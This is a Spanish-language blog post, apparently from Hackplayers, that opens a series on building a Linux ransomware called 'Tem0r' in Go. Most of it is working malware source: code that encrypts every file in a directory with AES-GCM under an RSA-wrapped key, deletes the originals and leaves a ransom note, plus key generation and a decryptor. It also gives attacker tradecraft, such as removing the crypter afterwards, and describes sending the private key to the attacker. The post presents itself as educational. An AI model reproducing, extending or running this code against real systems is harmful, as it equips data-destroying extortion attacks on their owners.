Tem0r: construyendo un ransomware para Linux desde 0 (Parte 1)
En plena resaca de Halloween hoy vamos a comenzar con una serie de artículos para escribir algo que da mucho miedo: un artefacto de ransomware para Linux desde 0. Bautizado como Tem0r está escrito en lenguaje Go porque podrá ser más fácil exportarlo en un futuro a otras plataformas como Windows y sobretodo porque nos ofrece la posibilidad de tener binarios estáticos, es decir que no dependen de bibliotecas externas lo que simplifica mucho su distribución y ejecución.
Por supuesto, se trata de malware funcional por lo que se recomienda probarlo en una máquina virtual de prueba (en cualquier Ubuntu u otra distro debería funcionar) y nunca utilizarlo contra sistemas de terceros sin previo consentimiento. Que quede claro desde el principio que desde Hackplayers no nos responsabilizamos de cualquier uso debido o indebido del mismo.
Por otro lado, comentar también que este artefacto se trata de código con propósito totalmente educacional, es decir, ni está optimizado ni pretender estarlo, simplemente está creado para poder compartir y aprender todos juntos puesto, creerme, debemos ser profundamente antagónicos a la seguridad por oscuridad. Y dicho ésto, ¡empezamos la serie!
Tem0r es un típico ransomware de doble extorsión: cifrará los datos de la víctima y los exfiltrará para pedir luego el rescate. A grandes rasgos en su versión básica lo que hará será crear un par de claves, enviará la clave cifrada al atacante, cifrará con la clave pública los archivos de la víctima y los enviará también durante el proceso. Ese es el core fundamental, luego publicaremos el código completo en Github e iremos añadiendo entre todos más variantes y funcionalidades en posteriores versiones.
Básicamente en esta primera entrada vamos a centrarnos en el proceso de cifrado. Para empezar, crearemos un pequeño script para generar en el directorio /tmp/dummy un número considerable de ficheros (200) emulando el directorio que el threat actor de turno cifrará y exfiltrará en su intrusión:
package main
import (
cryptorand "crypto/rand"
"fmt"
"io"
"math/rand"
"os"
"path/filepath"
"strings"
"time"
)
func main() {
// Seed the math/rand package for randomness
rand.Seed(time.Now().UnixNano())
// Create the directory if it doesn't exist
err := os.MkdirAll("/tmp/dummy", 0755)
if err != nil {
fmt.Println("Error creating directory:", err)
return
}
// Define file extensions for text and binary files
textExtensions := []string{".txt", ".log", ".csv"}
binaryExtensions := []string{".bin", ".dat", ".jpg"}
// Generate 200 files
for i := 0; i < 200; i++ {
// Decide on file type (50% chance of text or binary)
isText := rand.Intn(2) == 0
// Randomly choose an extension based on file type
var extension string
if isText {
extension = textExtensions[rand.Intn(len(textExtensions))]
} else {
extension = binaryExtensions[rand.Intn(len(binaryExtensions))]
}
// Create the filename
filename := filepath.Join("/tmp/dummy", fmt.Sprintf("dummy_%d%s", i, extension))
// Open the file
file, err := os.Create(filename)
if err != nil {
fmt.Println("Error creating file:", err)
continue
}
// Write content based on file type
if isText {
// Generate random text content
content := generateRandomText()
_, err = file.WriteString(content)
} else {
// Generate random binary content (size between 100KB and 1MB)
size := rand.Intn(900000) + 100000
_, err = io.CopyN(file, cryptorand.Reader, int64(size))
}
if err != nil {
fmt.Println("Error writing to file:", err)
file.Close()
continue
}
file.Close() // Close the file after writing
}
fmt.Println("200 dummy files created in /tmp/dummy")
}
// generateRandomText creates a random sentence for text files
func generateRandomText() string {
words := []string{"example", "random", "data", "test", "file", "content", "dummy", "information"}
sentenceLength := rand.Intn(20) + 5 // Random sentence length between 5 and 25 words
var sentence []string
for i := 0; i < sentenceLength; i++ {
sentence = append(sentence, words[rand.Intn(len(words))])
}
return strings.Join(sentence, " ") + "n"
}
Volviendo a nuestro ransomware, lo que haremos primero es crear el par de claves RSA en el equipo de la victima. Veamos el fragmento de código, recordad en Go:
package main import ( "crypto/rand" "crypto/rsa" "crypto/x509" "encoding/pem" "fmt" "io/ioutil" ) func generateRSAKey() error { // Generates a 2048-bit RSA key pair privateKey, err := rsa.GenerateKey(rand.Reader, 2048) if err != nil { return err } // Encodes the private key in PEM format privDER := x509.MarshalPKCS1PrivateKey(privateKey) privBlock := pem.Block{ Type: "RSA PRIVATE KEY", Bytes: privDER, } privPEM := pem.EncodeToMemory(&privBlock) // Write the private key to a file err = ioutil.WriteFile("private.key", privPEM, 0600) if err != nil { return err } // Encodes the public key in PEM format pubDER, err := x509.MarshalPKIXPublicKey(&privateKey.PublicKey) if err != nil { return err } pubBlock := pem.Block{ Type: "RSA PUBLIC KEY", Bytes: pubDER, } pubPEM := pem.EncodeToMemory(&pubBlock) // Write the public key to a file err = ioutil.WriteFile("public.key", pubPEM, 0600) if err != nil { return err } return nil } func main() { err := generateRSAKey() if err != nil { fmt.Println("Error generating keys:", err) } else { fmt.Println("RSA keys generated successfully.")
} }
Evidentemente una vez generada la clave privada para descifrar lo que se hará será enviarla inmediatamente al atacante para luego proceder al cifrado con la clave pública. pero eso lo veremos en el siguiente post. En éste, como decíamos, vamos a centrarnos en el proceso de cifrado y descifrado. El siguiente script está diseñado para cifrar todos los archivos dentro del directorio específico utilizando una combinación de dos algoritmos de cifrado: AES para el cifrado de datos y RSA para la protección de la clave AES:
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/rsa"
"crypto/sha256"
"crypto/x509"
"encoding/pem"
"fmt"
"io/ioutil"
"os"
"path/filepath"
)
func main() {
publicKeyFile := "public.key"
sourceDir := "/tmp/dummy"
// Load the public key
publicKeyBytes, err := ioutil.ReadFile(publicKeyFile)
if err != nil {
fmt.Println("Error reading public key file:", err)
return
}
block, _ := pem.Decode(publicKeyBytes)
if block == nil {
fmt.Println("Failed to decode PEM block containing the key")
return
}
parsedKey, err := x509.ParsePKIXPublicKey(block.Bytes)
if err != nil {
fmt.Println("Error parsing public key:", err)
return
}
publicKey, ok := parsedKey.(*rsa.PublicKey)
if !ok {
fmt.Println("Error: loaded key is not an RSA public key")
return
}
// Traverse all files in the source directory
err = filepath.Walk(sourceDir, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
if !info.IsDir() {
fmt.Println("Encrypting file:", path)
// Read the file
data, err := ioutil.ReadFile(path)
if err != nil {
return fmt.Errorf("error reading file %s: %v", path, err)
}
// Generate a random AES key
aesKey := make([]byte, 32) // AES-256 key size
if _, err := rand.Read(aesKey); err != nil {
return fmt.Errorf("error generating AES key: %v", err)
}
// Encrypt the file content using AES
encryptedData, err := encryptAES(data, aesKey)
if err != nil {
return fmt.Errorf("error encrypting file data: %v", err)
}
// Encrypt the AES key using RSA and the public key
encryptedKey, err := rsa.EncryptOAEP(sha256.New(), rand.Reader, publicKey, aesKey, nil)
if err != nil {
return fmt.Errorf("error encrypting AES key: %v", err)
}
// Combine encrypted key and encrypted data
finalData := append(encryptedKey, encryptedData...)
// Save the encrypted file with .crypted extension, replacing the original
newPath := path + ".crypted"
err = ioutil.WriteFile(newPath, finalData, 0644)
if err != nil {
return fmt.Errorf("error writing encrypted file %s: %v", newPath, err)
}
fmt.Println("File encrypted and saved as:", newPath)
// Delete the original file
if err := os.Remove(path); err != nil {
return fmt.Errorf("error deleting original file %s: %v", path, err)
}
fmt.Println("Original file deleted:", path)
}
return nil
})
if err != nil {
fmt.Println("Error during directory encryption:", err)
return
}
fmt.Println("All files encrypted and original files removed successfully.")
// Create the ATTENTION.txt file in the source directory
attentionFile := filepath.Join(sourceDir, "ATTENTION.txt")
content := "this is only a PoC. Please, never pay for ransomware."
err = ioutil.WriteFile(attentionFile, []byte(content), 0644)
if err != nil {
fmt.Println("Error creating ATTENTION.txt:", err)
return
}
fmt.Println("ATTENTION.txt created in", sourceDir)
}
// encryptAES encrypts data using AES-GCM with the provided key.
func encryptAES(data, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
nonce := make([]byte, aesGCM.NonceSize())
if _, err := rand.Read(nonce); err != nil {
return nil, err
}
ciphertext := aesGCM.Seal(nonce, nonce, data, nil)
return ciphertext, nil
}
- Lee la clave pública del archivo “public.key”.
- Verifica que la clave sea válida y la almacena en una variable.
- Recorre todos los archivos y para cada archivo:
- Genera una clave aleatoria AES de 256 bits.
- Cifra el contenido del archivo utilizando AES-GCM (Galois/Counter Mode) y la clave aleatoria recién generada.
- Cifra la clave AES utilizando la clave pública RSA para proteger la clave de cifrado (padding OAEP).
- Combina la clave AES cifrada y los datos del archivo cifrado en un único archivo.
- Guarda el archivo cifrado con una extensión “.crypted” en el mismo lugar donde estaba el archivo original.
- Elimina el archivo original.
- Crea un archivo llamado “ATTENTION.txt” dentro del directorio fuente cifrado.
- El archivo contiene el texto: “this is only a PoC. Please, never pay for ransomware.” (Esto es solo una prueba de concepto. Por favor, nunca pague por un ransomware).
El siguiente paso es probar si funciona correctamente el cifrado:
Como veis todos los ficheros han sido modificados y renombrados con extensión .crypted y tenemos la nota de ransom avisando de que hemos sido comprometidos:
$ cat /tmp/dummy/ATTENTION.txt
this is only a PoC. Please, never pay for ransomware.
Desde la perspectiva del atacante sería buena praxis borrar también el “crypter” recientemente usado y la clave pública una vez finalizado el proceso. Moviéndonos finalmente a la parte de descifrado, en el que la víctima recibe la clave privada correspondiente para llevarlo a cabo, los pasos serían previsiblemente los contrarios hasta recuperar cada uno de los ficheros originales. El script se muestra a continuación:
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/rsa"
"crypto/sha256"
"crypto/x509"
"encoding/pem"
"fmt"
"io/ioutil"
"os"
"path/filepath"
)
func main() {
privateKeyFile := "private.key"
encryptedDir := "/tmp/dummy"
// Load the private key for decryption
privateKeyBytes, err := ioutil.ReadFile(privateKeyFile)
if err != nil {
fmt.Println("Error reading private key file:", err)
return
}
block, _ := pem.Decode(privateKeyBytes)
if block == nil {
fmt.Println("Failed to decode PEM block containing the key")
return
}
privateKey, err := x509.ParsePKCS1PrivateKey(block.Bytes)
if err != nil {
fmt.Println("Error parsing private key:", err)
return
}
// Traverse all files in the encrypted directory
err = filepath.Walk(encryptedDir, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
if !info.IsDir() && filepath.Ext(path) == ".crypted" {
fmt.Println("Decrypting file:", path)
// Read the encrypted file
encryptedData, err := ioutil.ReadFile(path)
if err != nil {
return fmt.Errorf("error reading encrypted file %s: %v", path, err)
}
// Separate the encrypted AES key and encrypted file data
encryptedKey := encryptedData[:privateKey.Size()]
fileData := encryptedData[privateKey.Size():]
// Decrypt the AES key using the private RSA key
aesKey, err := rsa.DecryptOAEP(sha256.New(), rand.Reader, privateKey, encryptedKey, nil)
if err != nil {
return fmt.Errorf("error decrypting AES key: %v", err)
}
// Decrypt the file data using AES
decryptedData, err := decryptAES(fileData, aesKey)
if err != nil {
return fmt.Errorf("error decrypting file data: %v", err)
}
// Save the decrypted file by removing the ".crypted" extension
newPath := path[:len(path)-len(".crypted")]
err = ioutil.WriteFile(newPath, decryptedData, 0644)
if err != nil {
return fmt.Errorf("error writing decrypted file %s: %v", newPath, err)
}
fmt.Println("File decrypted and saved as:", newPath)
// Optionally delete the original encrypted file
err = os.Remove(path)
if err != nil {
return fmt.Errorf("error removing encrypted file %s: %v", path, err)
}
}
return nil
})
if err != nil {
fmt.Println("Error during decryption process:", err)
return
}
fmt.Println("All files decrypted successfully.")
}
// decryptAES decrypts data using AES-GCM with the provided key.
func decryptAES(data, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
nonceSize := aesGCM.NonceSize()
nonce, ciphertext := data[:nonceSize], data[nonceSize:]
plaintext, err := aesGCM.Open(nil, nonce, ciphertext, nil)
if err != nil {
return nil, err
}
return plaintext, nil
}
- Se carga y decodifica la clave privada RSA (private.key), que es necesaria para descifrar la clave AES que protege el contenido de cada archivo.
- Recorre cada archivo, y si encuentra un archivo con la extensión .crypted, intenta descifrarlo.
- Para cada archivo .crypted encontrado lee su contenido completo y luego se separa en dos partes:
- La clave AES cifrada (almacenada al inicio del archivo de longitud fija de 256 bits)
- Los datos del archivo encriptado (el resto del archivo).
- La clave AES, que fue cifrada con la clave pública en el proceso de cifrado, es descifrada aquí usando la clave privada.
- Finalmente se descifran los datos cifrados del archivo utilizando la clave AES obtenida en el paso anterior.
- Una vez descifrado, se guarda el archivo original, eliminando la extensión .crypted.
Si lo ejecutáis, veréis que todos los archivos .crypted han sido restaurados a sus correspondientes homólogos originales.
Como habéis podido observar, tenemos el “ciclo” completo de cifrado y descifrado. Por favor, si veis una aproximación más eficiente, realista u otra alternativa para hacerlo no dudéis en comentar y proponer.
En la siguiente entrada (tampoco quiero aburriros demasiado hoy) veremos una estrategia para enviar la clave privada y los archivos cifrados (exfiltración) a la infraestructura del atacante.
Y recordad, ¡mucha responsabilidad con estas cosas!
Powered by WPeMatico